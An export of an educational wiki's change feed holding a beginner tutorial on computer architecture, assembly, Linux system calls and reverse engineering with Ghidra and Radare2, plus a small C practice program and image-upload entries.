Command under Linux to translate an assembly program into machine code:&lt;br /&gt;
&lt;br /&gt;
 as Example.s -o Example.o&lt;br /&gt;
&lt;br /&gt;
* Example.o:&lt;br /&gt;
&lt;br /&gt;
 0000    55&lt;br /&gt;
 0001    89E5&lt;br /&gt;
 0003    6A00&lt;br /&gt;
 0005    E800000000&lt;br /&gt;
 000a    83C404&lt;br /&gt;
 000d    89EC&lt;br /&gt;
 000f    5D&lt;br /&gt;
 0010    C3&lt;br /&gt;
 main:   0&lt;br /&gt;
 0006:   exit ADDR32 ; Relocation information: insert the address of &amp;quot;exit&amp;quot; at address 0006&lt;br /&gt;
&lt;br /&gt;
Linking Process:&lt;br /&gt;
&lt;br /&gt;
Command under Linux to combine object files into a binary:&lt;br /&gt;
&lt;br /&gt;
 ld Example.o -o Example&lt;br /&gt;
&lt;br /&gt;
* Example.exe&lt;br /&gt;
&lt;br /&gt;
 …&lt;br /&gt;
 0030    55&lt;br /&gt;
 0031    89E5&lt;br /&gt;
 0033    6A00&lt;br /&gt;
 0035    E848010000 ; Address of the function &amp;quot;exit&amp;quot; was inserted by the linker&lt;br /&gt;
 003a    83C404&lt;br /&gt;
 003d    89EC&lt;br /&gt;
 003f    5D&lt;br /&gt;
 0040    C3&lt;br /&gt;
 …&lt;br /&gt;
&lt;br /&gt;
== Working with an operating-system ==&lt;br /&gt;
&lt;br /&gt;
Despite higher-level programming languages, challenges such as operating specific hardware, managing multitasking, and handling virtual memory management persist. To address these issues, the concept of an operating system (OS) was introduced as a solution. An operating system is a program or a collection of programs that perform various tasks, including:&lt;br /&gt;
&lt;br /&gt;
* Loading and executing programs&lt;br /&gt;
* Managing multitasking&lt;br /&gt;
* Virtualizing memory, allowing each program to be written as if it starts at address 0 without conflict in multitasking scenarios (this is achieved, for example, using specialized hardware like a Memory Management Unit, MMU)&lt;br /&gt;
* Managing hardware and providing hardware abstractions through drivers, eliminating the need for every programmer to understand the intricate details of hardware operation (e.g., configuring voltage levels manually for network card operations)&lt;br /&gt;
* Providing a user-friendly interface for users&lt;br /&gt;
&lt;br /&gt;
To utilize the functionalities of an operating system, various programming interfaces (APIs) were developed and standardized. These APIs offer similar functions (known as primitives). One prominent example is the Portable Operating System Interface (POSIX) standard (ISO/IEC/IEEE 9945), which has been largely implemented by operating systems like Linux.&lt;br /&gt;
&lt;br /&gt;
Examples of primitives offered by POSIX in a higher-level programming language like C include:&lt;br /&gt;
&lt;br /&gt;
 * int open(const char *path, int oflag, ...) for opening files&lt;br /&gt;
 * int close(int fildes) for closing files&lt;br /&gt;
 * pid_t fork(void) for creating a new process&lt;br /&gt;
 * void (*signal(int sig, void (*func)(int)))(int) for registering signal handler functions&lt;br /&gt;
 * ...&lt;br /&gt;
&lt;br /&gt;
At the hardware level, these primitives are implemented through system calls to the operating system. These system calls are highly dependent on the operating system and processor.&lt;br /&gt;
&lt;br /&gt;
For instance, the Linux kernel maintains a list of all system calls it provides, known as the System Call Table. Each system call is associated with a unique number and a kernel internal function that performs the actual tasks. To invoke a system call, for example on x86 machines, one loads the number of the desired call into the EAX register and then triggers a software interrupt 128 (hexadecimal: 0x80). The arguments for the system call are stored in CPU registers according to the FastCall calling convention.&lt;br /&gt;
&lt;br /&gt;
The software interrupt, also known as an exception, halts the execution of the program in user mode and triggers the execution of an exception handler in kernel mode. The kernel&#039;s exception handler reads the EAX register and, if it contains a valid system call number, invokes the corresponding kernel function from the System Call Table with the arguments stored in the other registers. After validating the arguments, the kernel performs the requested tasks. Upon completion of this function, the exception handler finishes its work, and normal program execution resumes.&lt;br /&gt;
&lt;br /&gt;
Example of using a POSIX system call under Linux:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
    MOV R0, #1         @ Set R0 to define the data stream (STDOUT here). This data stream is typically connected to the console.&lt;br /&gt;
    LDR R1, =message   @ Load R1 with a pointer to the data to be written.&lt;br /&gt;
    LDR R2, =len       @ Load R2 with the length of the data to be written.&lt;br /&gt;
    MOV R7, #4         @ Set R7 to define the desired system call (here, write to STDOUT).&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
    MOV R7, #1         @ Set R7 to define the exit system call.&lt;br /&gt;
    SWI 0              @ Trigger software interrupt 0 (syscall).&lt;br /&gt;
 .data&lt;br /&gt;
 message:&lt;br /&gt;
    .asciz &amp;quot;Hello World! \n&amp;quot;  @ Define the message to be printed.&lt;br /&gt;
 len = .-message              @ Calculate the length of the message.&lt;br /&gt;
&lt;br /&gt;
Explanation:&lt;br /&gt;
&lt;br /&gt;
 Register R0 is used to define the data stream (in this case, STDOUT), which is the default output connected to the console.&lt;br /&gt;
 Register R1 serves as a pointer to the data that will be written.&lt;br /&gt;
 Register R2 indicates the length of the data to be written.&lt;br /&gt;
 Register R7 is used to specify the desired system call (in this case, writing to STDOUT).&lt;br /&gt;
&lt;br /&gt;
Finally, the operating system must be instructed to terminate the program so that data processing does not continue indefinitely. This is achieved with software interrupt #1.&lt;br /&gt;
&lt;br /&gt;
== Reverse Engineering ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering is the process of analyzing a finished product or system to understand its design, structure, and functionality. This process is frequently applied in software development, as well as in hardware development and other engineering disciplines.&lt;br /&gt;
&lt;br /&gt;
=== Applications of Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
Software Development:&lt;br /&gt;
&lt;br /&gt;
* Bug Fixing and Debugging&lt;br /&gt;
* Compatibility and Interoperability&lt;br /&gt;
* Security Analysis&lt;br /&gt;
* Detecting License Violations&lt;br /&gt;
&lt;br /&gt;
Hardware Development:&lt;br /&gt;
&lt;br /&gt;
* Product Analysis&lt;br /&gt;
* Repair and Maintenance&lt;br /&gt;
* Manufacturing Spare Parts&lt;br /&gt;
&lt;br /&gt;
=== Typical Steps in Reverse Engineering ===&lt;br /&gt;
&lt;br /&gt;
1. Collection and Gathering information about the target product&lt;br /&gt;
&lt;br /&gt;
2. Disassembly and Decompilation (converting binary code or machine code into a higher-level programming language or human-readable form)&lt;br /&gt;
&lt;br /&gt;
3. Analysis and Documentation of the individual components and their functionality&lt;br /&gt;
&lt;br /&gt;
4. Recovery and Reconstruction&lt;br /&gt;
&lt;br /&gt;
=== Legal Ethical Considerations ===&lt;br /&gt;
&lt;br /&gt;
Reverse engineering can raise legal and ethical questions, particularly concerning intellectual property. While it is legal in many cases, there are certain situations where it can lead to legal disputes:&lt;br /&gt;
&lt;br /&gt;
* Copyright: No rights of the holder&#039;s permission&lt;br /&gt;
* Patents: Patent infringments if reproduced products use patented technologies&lt;br /&gt;
* Terms of Use: Many software licenses explicitly prohibit reverse engineering&lt;br /&gt;
&lt;br /&gt;
=== Tools and Techniques ===&lt;br /&gt;
&lt;br /&gt;
There are 2 common tools which are free and open-source:&lt;br /&gt;
&lt;br /&gt;
 * Ghidra&lt;br /&gt;
 * Radare2&lt;br /&gt;
&lt;br /&gt;
== Ghidra ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is an open-source software, created by the National Security Agency (NSA) and publicly released in 2019. It offers a powerful environment for reverse engineering and malware analysis. Ghidra supports a wide variety of processor architectures and file formats, making it a versatile tool for security researchers and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Requirements:&lt;br /&gt;
 * Java Development Kit (JDK) 11 or higher&lt;br /&gt;
 * At least 4 GB of RAM (8GB or more recommended)&lt;br /&gt;
&lt;br /&gt;
Steps:&lt;br /&gt;
 * Download the latest version of Ghidra from the official website: https://ghidra-sre.org/&lt;br /&gt;
 * Unzip the downloaded archive to a directory of your choice&lt;br /&gt;
 * Ensure that the JDK is installed and the &#039;JAVA_HOME&#039; environment variable is set correctly&lt;br /&gt;
&lt;br /&gt;
Starting Ghidra:&lt;br /&gt;
&lt;br /&gt;
Navigate to the directory where you unzipped Ghidra and run the start script:&lt;br /&gt;
&lt;br /&gt;
 * Linux/macOS: ./ghidraRun&lt;br /&gt;
 * Windows: ./ghidraRun.bat&lt;br /&gt;
&lt;br /&gt;
=== Basic Features ===&lt;br /&gt;
&lt;br /&gt;
Creating a new project:&lt;br /&gt;
&lt;br /&gt;
 1. Start Ghidra and create a new project (&#039;File -&amp;gt; New Project&#039;)&lt;br /&gt;
 2. Choose a project type (usually Non-shared Project) and specify a location and name for the project&lt;br /&gt;
 3. Import the binary file you want to analyze (&#039;File -&amp;gt; Import File&#039;)&lt;br /&gt;
&lt;br /&gt;
Analyzing the Binary:&lt;br /&gt;
&lt;br /&gt;
 1. After importing the file, double-click on it in the explorer to open it&lt;br /&gt;
 2. Ghidra will automatically perform an initial analysis of the file. Confirm the suggested settings and start the analysis.&lt;br /&gt;
&lt;br /&gt;
Disassembly and Decompilation:&lt;br /&gt;
&lt;br /&gt;
 Disassembly: Shows the machine code of the binary file. This is useful for understanding the low-level execution of the file.&lt;br /&gt;
 Decompilation: Converts the machine code into a higher-level, human-readable form (similar to C code).&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
&lt;br /&gt;
Ghidra supports scripting to automate complex analyses. You can write scripts in Java or Python (Jython).&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
&lt;br /&gt;
Ghidra can be integrated with external debuggers to perform dynamic analysis. This allows you to set breakpoints and step through the code.&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Radare2 ==&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
&lt;br /&gt;
Radare2 is a comprehensive framework for reverse engineering and binary analysis. It offers a wide range of features, from static and dynamic analysis to patching and debugging support. Due to its power and flexibility, radare2 is popular among security experts, malware analysts, and developers.&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
&lt;br /&gt;
Radare2 can be installed on various operating systems (comes pre-installed on kali-linux). These are the steps for the most common platforms:&lt;br /&gt;
&lt;br /&gt;
* Linux&lt;br /&gt;
 git clone https://github.com/radareorg/radare2.git&lt;br /&gt;
 cd radare2&lt;br /&gt;
 sys/install.sh&lt;br /&gt;
&lt;br /&gt;
* macOS&lt;br /&gt;
 brew install radare2&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
 Download the installation package from the official website and follow the instructions.&lt;br /&gt;
&lt;br /&gt;
=== Basic Commands ===&lt;br /&gt;
&lt;br /&gt;
After installation, you can start radare2 by typing &#039;r2&#039; followd by the path to the binary you want to analyze:&lt;br /&gt;
&lt;br /&gt;
 r2 /path/to/binary&lt;br /&gt;
&lt;br /&gt;
Now typically you start by typing &#039;V&#039; to enter the hex-view, afterwards you have following options:&lt;br /&gt;
&lt;br /&gt;
* p - change view forwards&lt;br /&gt;
* P - change view backwards&lt;br /&gt;
* aaa - analyze the binary to be able to use further instructions&lt;br /&gt;
* s - search for a keyword&lt;br /&gt;
* afl - find all functions&lt;br /&gt;
* q - quit to start screen&lt;br /&gt;
* ? - help and information&lt;br /&gt;
* VV - opens a visual mode with a graphical representation&lt;br /&gt;
&lt;br /&gt;
=== Advanced Features ===&lt;br /&gt;
&lt;br /&gt;
* Scripting&lt;br /&gt;
With radare2, you can write scripts in various languages to perform complex analyses and automations.&lt;br /&gt;
&lt;br /&gt;
* Debugging&lt;br /&gt;
Radare2 also supports debugging binaries:&lt;br /&gt;
&lt;br /&gt;
 r2 -d /path/to/binary&lt;br /&gt;
&lt;br /&gt;
In debug mode, additional commands are available:&lt;br /&gt;
&lt;br /&gt;
* db - sets a breakpoint&lt;br /&gt;
* dc - continue execution&lt;br /&gt;
* dr - displays register contents&lt;br /&gt;
&lt;br /&gt;
Of course there are many other notable features, but these are beyond the scope of this documentation.&lt;br /&gt;
&lt;br /&gt;
== Training Code ==&lt;br /&gt;
&lt;br /&gt;
=== simpleMath.c ===&lt;br /&gt;
&lt;br /&gt;
 include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 int add(int a, int b) {&lt;br /&gt;
    return a + b;&lt;br /&gt;
 }&lt;br /&gt;
 int subtract(int a, int b) {&lt;br /&gt;
    return a - b;&lt;br /&gt;
 }&lt;br /&gt;
 int multiply(int a, int b) {&lt;br /&gt;
    return a * b;&lt;br /&gt;
 }&lt;br /&gt;
 int main() {&lt;br /&gt;
    int x = 5;&lt;br /&gt;
    int y = 3;&lt;br /&gt;
    int sum = add(x, y);&lt;br /&gt;
    int diff = subtract(x, y);&lt;br /&gt;
    int prod = multiply(x, y);&lt;br /&gt;
    printf(&amp;quot;Sum: %d\n&amp;quot;, sum);&lt;br /&gt;
    printf(&amp;quot;Difference: %d\n&amp;quot;, diff);&lt;br /&gt;
    printf(&amp;quot;Product: %d\n&amp;quot;, prod);&lt;br /&gt;
    return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget to compile the file first with gcc!&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://ghidra-sre.org/&lt;br /&gt;
* https://rada.re/n/radare2.html&lt;br /&gt;
* https://github.com/radareorg/radare2&lt;br /&gt;
* https://github.com/NationalSecurityAgency/ghidra&lt;br /&gt;
* https://beginners.re/RE4B-DE.pdf&lt;br /&gt;
* Hardwaregrundlagen: Friedrich Bauer - Vorlesung Digitale Systeme - Technische Universität Wien “F. Bauer - Digitale Systeme - Institut für Computertechnik WS 2016/17&amp;quot;&lt;br /&gt;
* Carl Hamacher, Zvonko Vranesic, Safwat Zaky, Naraig Manjikian - Computer Organization and Embedded System (SIXTH EDITION) (McGRAW HILL INTERNATIONAL EDITION)&lt;br /&gt;
* Horst Schirmeier - Vorlesung Betriebssysteme - Technische Universität Dortmund SS 2020 https://www.youtube.com/watch?v=DX1wmistewI&amp;amp;list=PLOlqF42t6O1vcrGTDEagGE5PrVrO0ovqf&lt;br /&gt;
* https://www.linux-magazin.de/ausgaben/2004/08/kern-technik/&lt;br /&gt;
* https://articles.manugarg.com/systemcallinlinux2_6.html&lt;br /&gt;
* https://pubs.opengroup.org/onlinepubs/9699919799.2018edition/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image4.png&amp;diff=14731</id>
		<title>File:Image4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image4.png&amp;diff=14731"/>
		<updated>2024-06-21T14:37:21Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Stack&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Stack&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image3.png&amp;diff=14730</id>
		<title>File:Image3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image3.png&amp;diff=14730"/>
		<updated>2024-06-21T14:37:04Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Processor&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Processor&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image2.png&amp;diff=14729</id>
		<title>File:Image2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image2.png&amp;diff=14729"/>
		<updated>2024-06-21T14:36:28Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Von Neumann concept&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Von Neumann concept&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14728</id>
		<title>File:Image.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14728"/>
		<updated>2024-06-21T14:35:51Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Harvard concept&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14727</id>
		<title>File:Image.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Image.png&amp;diff=14727"/>
		<updated>2024-06-21T14:35:28Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Harvard&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
Harvard&lt;/div&gt;</summary>
		<author><name>CNinaus</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14718</id>
		<title>Reverse Engineering: Ghidra and Radare2</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Reverse_Engineering:_Ghidra_and_Radare2&amp;diff=14718"/>
		<updated>2024-06-20T21:58:01Z</updated>

		<summary type="html">&lt;p&gt;CNinaus: Created page with &amp;quot;== Summary ==   This documentation serves as a short and quick tutorial for reverse engineering. It is split in two parts:   1) Computer and operating systems basics (foundations to understand reverse engineering)   2) Reverse Engineering with 2 common tools (Ghidra and Radare2)  Feel free to skip the first parts if you are already familiar with these concepts.  == Computer architecture ==  There are a variety of computer architectures, the most prominent of which includ...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation serves as a short and quick tutorial for reverse engineering. It is split in two parts:&lt;br /&gt;
&lt;br /&gt;
 1) Computer and operating systems basics (foundations to understand reverse engineering)&lt;br /&gt;
&lt;br /&gt;
 2) Reverse Engineering with 2 common tools (Ghidra and Radare2)&lt;br /&gt;
&lt;br /&gt;
Feel free to skip the first parts if you are already familiar with these concepts.&lt;br /&gt;
&lt;br /&gt;
== Computer architecture ==&lt;br /&gt;
&lt;br /&gt;
There are a variety of computer architectures, the most prominent of which include both the Harvard and von Neumann concepts.&lt;br /&gt;
&lt;br /&gt;
=== Harvard Concept ===&lt;br /&gt;
&lt;br /&gt;
The Harvard concept is widespread in various fields, particularly where high efficiency and speed in data processing are required. The Harvard architecture refers to a concept where instructions and data are stored in separate memories. The processor (CPU) has a separate bus for the instruction memory and the data memory. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.&lt;br /&gt;
&lt;br /&gt;
=== Von Neumann Concept ===&lt;br /&gt;
&lt;br /&gt;
Most of today&#039;s commercial computers for private users are based on the von Neumann concept. A key aspect of the von Neumann architecture is storing data and programs in the same memory. The processor is connected to the memory and the I/O units through the same bus system, allowing it to access the stored instructions and associated data in the memory as well as I/O data. To communicate with the outside world, such as users or other computers, input and output units (input and output devices) are also required. Possible input devices include keyboard, mouse, microphone, or network devices, and possible output devices include display, speaker, or network devices.&lt;br /&gt;
&lt;br /&gt;
The following chapters will exclusively focus on the von Neumann concept, even though there are similarities between the concepts mentioned above.&lt;br /&gt;
&lt;br /&gt;
=== The Processor ===&lt;br /&gt;
&lt;br /&gt;
The processor (CPU) is the central component of every computer and essentially consists of the following components:&lt;br /&gt;
&lt;br /&gt;
* Arithmetic and Logic Unit (ALU): Performs arithmetic and logical operations.&lt;br /&gt;
* Working or Arithmetic Registers: Stores operands and results temporarily during operations.&lt;br /&gt;
* Control Unit: Manages internal components of the processor such as ALU, registers, bus systems, and other resources.&lt;br /&gt;
&lt;br /&gt;
Each processor has its own instruction set, dependent on the processor type or architecture. The instruction set comprises a set of commands. Each command is associated with a bit pattern known as the instruction code, machine code, or opcode. Commands stored in memory are executed sequentially. The sequence of commands in memory is referred to as a program. Depending on the commands in the program, the processor performs various operations. When designing a computer architecture, the functionality of the computer is defined in part by the processor&#039;s instruction set.&lt;br /&gt;
&lt;br /&gt;
The processor includes an internal bus system and interfaces with external address, data, and control buses (the control bus is not depicted here for simplicity).&lt;br /&gt;
&lt;br /&gt;
The address bus is used to communicate with devices such as memory cells, input/output devices, etc., for interaction purposes.&lt;br /&gt;
The data bus is used to exchange data with addressed devices.&lt;br /&gt;
The control bus has diverse functionalities, such as controlling the direction of data exchange on the data bus.&lt;br /&gt;
&lt;br /&gt;
The highly simplified and schematically represented processor in Figure 3 features a working register A, used, for example, to store interim results. All arithmetic and logical commands are executed by the Arithmetic Logic Unit (ALU), where in this case, the working register A must always contain one of the operands. For operations involving two operands, the second operand is loaded from memory by specifying its address through the intermediate register ZR. The result of the operation is then written back into working register A, replacing its previous content. Depending on the result of an operation, the ALU sets individual bits in the status register (Flag Register F). These bits, known as flags, indicate the outcome of the executed operation. Examples of flags in the status register include the Zero Flag, Carry Flag, and Overflow Flag. The state of these flags in the status register can be checked and used, for instance, for conditional jump commands to execute conditional branching in the program.&lt;br /&gt;
&lt;br /&gt;
The control unit houses all the logic necessary for executing commands and controlling the resources accordingly.&lt;br /&gt;
&lt;br /&gt;
=== Command Execution ===&lt;br /&gt;
&lt;br /&gt;
Essentially, the following cyclic scheme outlines the execution of an instruction:&lt;br /&gt;
&lt;br /&gt;
* FETCH (Fetch instruction from memory)&lt;br /&gt;
* EXECUTE (Execute instruction)&lt;br /&gt;
&lt;br /&gt;
During the Fetch phase, the instruction located at the address stored in the program counter is loaded into the instruction register. Subsequently, the program counter is incremented by one. If an instruction spans multiple words, the control unit repeats this process until the entire instruction is loaded.&lt;br /&gt;
&lt;br /&gt;
During the Execute phase, the instruction is executed. For example, an address is issued through an intermediate register, an operand is fetched from that address, it is added to the second operand already stored in working register A, the result is then stored back into working register A, and corresponding flags are set in the flag register.&lt;br /&gt;
&lt;br /&gt;
Branch instructions allow for interruption or alteration of the sequential program flow. In the case of a branch instruction, the program flow continues at any other point defined by the branch instruction.&lt;br /&gt;
&lt;br /&gt;
The processor presented in this section is a highly simplified model. Commercial processors typically feature a multitude of working registers, registers with specialized functions, and data pathways beyond those outlined here for address and data buses.&lt;br /&gt;
&lt;br /&gt;
=== Memory ===&lt;br /&gt;
&lt;br /&gt;
The memory can essentially be envisioned as a one-dimensional array of field elements with a fixed bit width, where each field element can be accessed by a unique address.&lt;br /&gt;
&lt;br /&gt;
== Hardware programming ==&lt;br /&gt;
&lt;br /&gt;
=== Machine Commands ===&lt;br /&gt;
&lt;br /&gt;
Typically, a machine instruction consists of an opcode followed by an address portion. An opcode is a unique bit pattern interpreted by the control unit, prompting it to execute all necessary steps for that particular instruction. The address portion, on the other hand, is used to address one or more operands. Machine instructions can vary in length, which can either complicate and slow down the control unit or be fixed in length to mitigate the aforementioned drawbacks.&lt;br /&gt;
&lt;br /&gt;
=== Addressing Types ===&lt;br /&gt;
&lt;br /&gt;
Register addressing:&lt;br /&gt;
&lt;br /&gt;
In register addressing, only registers are referenced.&lt;br /&gt;
&lt;br /&gt;
 MOV R1, R2  ; Copy the value from register R2 to register R1&lt;br /&gt;
&lt;br /&gt;
Immediate addressing:&lt;br /&gt;
&lt;br /&gt;
In immediate addressing, the operand itself is specified in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV R0, #5  ; Load the immediate value 5 into register R0&lt;br /&gt;
&lt;br /&gt;
Absolute addressing:&lt;br /&gt;
&lt;br /&gt;
Absolute addressing specifies the memory address of the operand in the address part of the machine instruction.&lt;br /&gt;
&lt;br /&gt;
 MOV EAX, [0x1234]  ; Loads the value from memory address 0x1234 into register EAX&lt;br /&gt;
&lt;br /&gt;
Relative addressing:&lt;br /&gt;
&lt;br /&gt;
Relative addressing specifies the desired address as an offset relative to a base address. The base address is typically stored in a defined register, and the offset is provided in the machine instruction. The Program Counter (PC) contents are often used as the base address.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [PC, #4]  ; Load the value from address (PC + 4) into register R0&lt;br /&gt;
&lt;br /&gt;
Indexed Addressing:&lt;br /&gt;
&lt;br /&gt;
Indexed addressing is similar to relative addressing. It also calculates an offset from a base address. However, in indexed addressing, the address is provided in the instruction, and the offset is fetched from a special register called the index register.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1, #4]  ; Load the value from memory address (R1 + 4) into R0&lt;br /&gt;
&lt;br /&gt;
Indirect Addressing (Pointer):&lt;br /&gt;
&lt;br /&gt;
In indirect addressing, the actual address resides in a memory location. This means that the address of the memory location containing the desired address is specified.&lt;br /&gt;
&lt;br /&gt;
 LDR R0, [R1]  ; Load the value from the memory address stored in R1 into R0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here are presented in assembler code for readability and understanding, and should be interpreted as pseudocode until the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Subprograms ===&lt;br /&gt;
&lt;br /&gt;
To save memory, frequently executed program segments are stored in memory only once. These commonly executed program segments, also known as functions, can be accessed using specific jump instructions. Depending on the instruction, either the jump address is immediately loaded into the Program Counter (PC) and execution jumps to that address, or the current Program Counter contents are stored first, followed by loading the jump address into the PC. This allows the program flow to resume at the point where the function was called after exiting the function.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, for example, you can jump to a subroutine (function) using the following two commands:&lt;br /&gt;
&lt;br /&gt;
 BAL target_label         ; Branch Always: Jump immediately to the address specified by &amp;quot;target_label&amp;quot;&lt;br /&gt;
 BL function_label        ; Branch with Link: The current PC contents, which hold the address of the next instruction, are stored in the Link Register (LR). Then, jump to the address specified by &amp;quot;function_label&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
A function called as a subroutine can be exited using a specific return instruction.&lt;br /&gt;
&lt;br /&gt;
In ARMv7, after completing a subroutine, you can return to the calling function using the following commands:&lt;br /&gt;
&lt;br /&gt;
 BX LR                     ; &amp;quot;Branch and Exchange&amp;quot;: The processor jumps to the address stored in the specified register (LR).&lt;br /&gt;
 MOV PC, LR                ; Move the contents of the Link Register (LR) into the Program Counter (PC).&lt;br /&gt;
&lt;br /&gt;
These instructions allow for efficient management of program flow, returning execution to the point where the subroutine was called. To store the Program Counter and other data (such as register contents), the stack can be utilized. The stack is a simple last-in, first-out (LIFO) managed memory structure. This method of management facilitates handling of nested subroutine calls. Typically, the stack is located in main memory, and the processor maintains the memory address of the most recently stored item in a dedicated register known as the Stack Pointer (SP).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
The examples provided here have been presented in assembler code for readability and understanding. At this point, they should be interpreted as pseudocode, pending the introduction of assembler language.&lt;br /&gt;
&lt;br /&gt;
== Higher-level programming languages ​​and abstraction concepts ==&lt;br /&gt;
&lt;br /&gt;
The two main problems of hardware programming described so far are that machine instruction bit patterns are difficult to remember, and programs in machine code are hard to relocate due to their absolute addresses.&lt;br /&gt;
&lt;br /&gt;
=== Assembler ===&lt;br /&gt;
&lt;br /&gt;
The solution to the issues of poor memorability and readability of machine code involves introducing an abstraction where machine instructions are associated with words and symbols used in programming instead of directly using the machine instruction bit patterns in source code files. Now, programs can be written in text files using these words and symbols, known as assembly language, rather than machine instruction bit patterns. These text files are processed by a translation program called an assembler, which converts them back into machine instruction bit patterns, transforming the word- and symbol-based program into executable code. Text files containing assembly code are commonly referred to as assembly source files and are typically saved with the extension &amp;quot;.s&amp;quot;. Files containing the output translated by the assembler are called object files and are usually saved with the extension &amp;quot;.o&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Here&#039;s an example of an assembly program that adds two registers:&lt;br /&gt;
&lt;br /&gt;
 .global _start&lt;br /&gt;
 _start:&lt;br /&gt;
          movl 	$0, %esi&lt;br /&gt;
          movl   $3, %eax&lt;br /&gt;
          add	%eax, %esi&lt;br /&gt;
&lt;br /&gt;
An assembler program can be translated into machine code on Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 as test.s -o test.o&lt;br /&gt;
&lt;br /&gt;
Please note, this creates an unlinked program object in machine code!&lt;br /&gt;
&lt;br /&gt;
To display machine code as assembler code, i.e., to disassemble it under Linux, you can use the following command:&lt;br /&gt;
&lt;br /&gt;
 objdump -d test.o&lt;br /&gt;
&lt;br /&gt;
=== Linker ===&lt;br /&gt;
&lt;br /&gt;
The solution to the problem of difficulty in relocation involves introducing symbolic addresses, which act as &amp;quot;variables&amp;quot; called &amp;quot;labels&amp;quot; and are definitively set by the linker. These symbolic addresses are prefixed with zeros by the assembler, and relocation information tables are created to instruct the linker to insert the addresses of these labels at the respective locations.&lt;br /&gt;
&lt;br /&gt;
From now on, programs can be divided into components and developed independently. Files containing the output bound by the linker are executable files known as binaries. They receive an extension dependent on the operating system (e.g., &amp;quot;.exe&amp;quot; in Windows).&lt;br /&gt;
&lt;br /&gt;
Unlinked object files can be linked into a binary under Linux using the following command:&lt;br /&gt;
&lt;br /&gt;
 ld test.o -o test&lt;br /&gt;
&lt;br /&gt;
This command links the object file &amp;quot;test.o&amp;quot; into an executable binary named &amp;quot;test&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Compiler ===&lt;br /&gt;
&lt;br /&gt;
